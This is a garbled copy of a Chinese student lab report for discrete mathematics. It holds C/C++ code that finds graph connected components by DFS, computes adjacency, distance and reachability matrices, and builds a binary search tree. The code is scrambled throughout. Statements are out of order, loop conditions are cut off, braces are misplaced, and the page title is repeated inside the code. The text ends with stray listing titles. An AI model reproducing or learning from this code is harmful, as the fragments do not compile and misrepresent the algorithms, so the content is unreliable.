a)/*由深度优先DFS法求出并显示各个连通支*/ { int i,x;int top=0;int visited[MAX];SqStack s;/*定义s为顺序栈变量*/ for(i=0;i<100;i++)visited[i]=0;/*初始化为0*/ case 5:system(“cls”);fflush(stdin);liantongzhi();break;/*求连通支*/ case 6:system(“exit”);exit(0);/*结束整个程序的运行*/ default:system(“cls”);goto start;/*控制流转移到start处*/ } }while(1); for(i=1;i<=v;i++){ } printf(“%d”,i);DFS(i);/*调用子函数求连通支*/ printf(“n”);离散数学实验三实验报告 } void shuru()/*输入结点关系*/ { printf(“*********************************************************************visited[a-1]=1;/*为a置已访问标志,已经访问了的元素为1*/ top=top+1; s.elem[top]=a-1;/*顺序栈的第一个元素*/ while(top!=0)/*栈不为空时执行循环*/ { } x=s.elem[top];/*将栈顶元素付给x*/ for(i=0;i if(D[x][i]!=0 &&(!visited[i]))/*若x,i是边和节点i未被访问过*/ { } printf(”->%d“,i+1);visited[i]=1;/*为i置已访问标准*/ top=top+1; s.elem[top]=i;/*i进栈*/ break;if(i==v)/*若v已访问到的出点,则将其退栈*/ top--; **********n”);printf(“n”);离散数学实验三实验报告 printf(“tt请输入结点数和边数(形式如6,5):n”);scanf(“%d,%d”,&v,&e);/*输入结点和边数*/ for(i=0;i } for(j=0;j } A[i][j]=0;C[i][j]=0;B[i][j]=0;D[i][j]=0; printf(“n”);printf(“*******************************************************************************n”); printf(“tt请输入结点间的关系(形式如:1,2):n”);printf(“n”); for(k=0;k scanf(“%d,%d”,&i,&j); A[i-1][j-1]=1;/*根据输入结点的关系,将矩阵中相应的元素赋值*/ A[j-1][i-1]=1; B[i-1][j-1]=1;B[j-1][i-1]=1; D[i-1][j-1]=1;离散数学实验三实验报告 } void linjiejuzhen()/*输出邻接矩阵*/ { } void julijuzhen()/*根据A的n次方矩阵及其中元素,判断并显示两结点间的距离*/ { linjiejuzhen();/*调用子函数,以确定并显示距离为1的两结点*/ for(i=1;i<=v;i++){ } D[j-1][i-1]=1; system(“cls”); printf(“邻接矩阵A为:n”);for(i=0;i } printf(“n”); for(j=0;j printf(“t%5d”,A[i][j]);/*显示邻接矩阵*/ for(j=1;j<=v;j++)离散数学实验三实验报告 } for(k=2;k<=v-1;k++)/*计算并显示距离大于1的两节点*/ { } } printf(“nn”);printf(“距离为%d的矩阵(即A%d)为:n”,k,k);{ for(i=0;i { } if(A[i-1][j-1]==1)printf(“结点%d与结点%d的距离为:%dn”,i,j,1);for(j=0;j for(t=0;t C[i][j]=C[i][j]+B[i][t]*A[t][j];/*计算矩阵中的元素*/ for(i=0;i for(j=0;j } B[i][j]=C[i][j];/*将计算出的结果赋予B矩阵*/ C[i][j]=0; for(i=0;i { } for(j=0;j printf(“n”);for(i=1;i<=v;i++) for(j=1;j<=v;j++){ if(A[i-1][j-1]==0 && B[i-1][j-1]!= 0 && i!=j)/*判断条件,以确定输出对象(相关的点)*/ } void kedajuzhen()/*求可达矩阵*/ { int l=1;printf(“可达矩阵为:n”);for(i=0;i for(j=0;j } printf(“n”);} printf(“结点%d与结点%d的距离为:%dn”,i,j,k);B[i][j]=A[i][j];离散数学实验三实验报告 } } C[i][j]=0; } } C[i][j]=0; for(k=0;k for(i=0;i for(j=0;j for(t=0;t C[i][j]=C[i][j]+B[i][t]*A[t][j];/*根据公式计算可达矩阵*/ for(i=0;i for(j=0;j D[i][j]=C[i][j]+D[i][j];/*根据公式计算可达矩阵*/ for(i=0;i for(j=0;j B[i][j]=C[i][j];/*根据公式计算可达矩阵*/ for(i=0;i { } for(j=0;j D[i][j]=1; if(D[i][j]>=1)/*将矩阵中不为0的一切值赋为1以生成可达矩阵*/ for(i=0;i } for(j=0;j printf(“t%5d”,D[i][j]);/*显示可达矩阵*/ printf(“n”); for(i=0;i } if(l==0)/*根据上一步判断结果显示内容*/ else printf(“ntttt该图可连通!”);printf(“ntttt该图不连通!”); for(j=0;j #include { //if(x ==(p->key))// // return; f = p; if(x < p->key) p = p->lchild; else p = p->rchild;离散数学实验三实验报告 //f = p;} //f = p;p =(bstree)malloc(sizeof(bsnode)); p->key = x;p->lchild=p->rchild=NULL;if(*t == NULL) *t = p;else { if(x <(f->key)) f->lchild = p; else f->rchild = p;} } bstree creatbstree(bstree t){ datatype key;离散数学实验三实验报告 //scanf(“%d”,&key);cin>>key;while(key!=-1){ insertbstree(&t,key); //scanf(“%d”,&key); cin>>key;} return t;} void inorder(bstree t) { if(t) { inorder(t->lchild); printf(“%d ”,t->key);inorder(t->rchild); } } int main(void){ bstree t = NULL,p; 离散数学实验三实验报告 //printf(“请输入一个-1为结束标记的结点序列:n”);cout<<“创建一个输入-1为作为结束标记:排序二叉树:”< //inorder(creatbstree(t));inorder(p);return 0;}第四篇:中南大学单片机实验报告..
第五篇:中南大学离散数学实验报告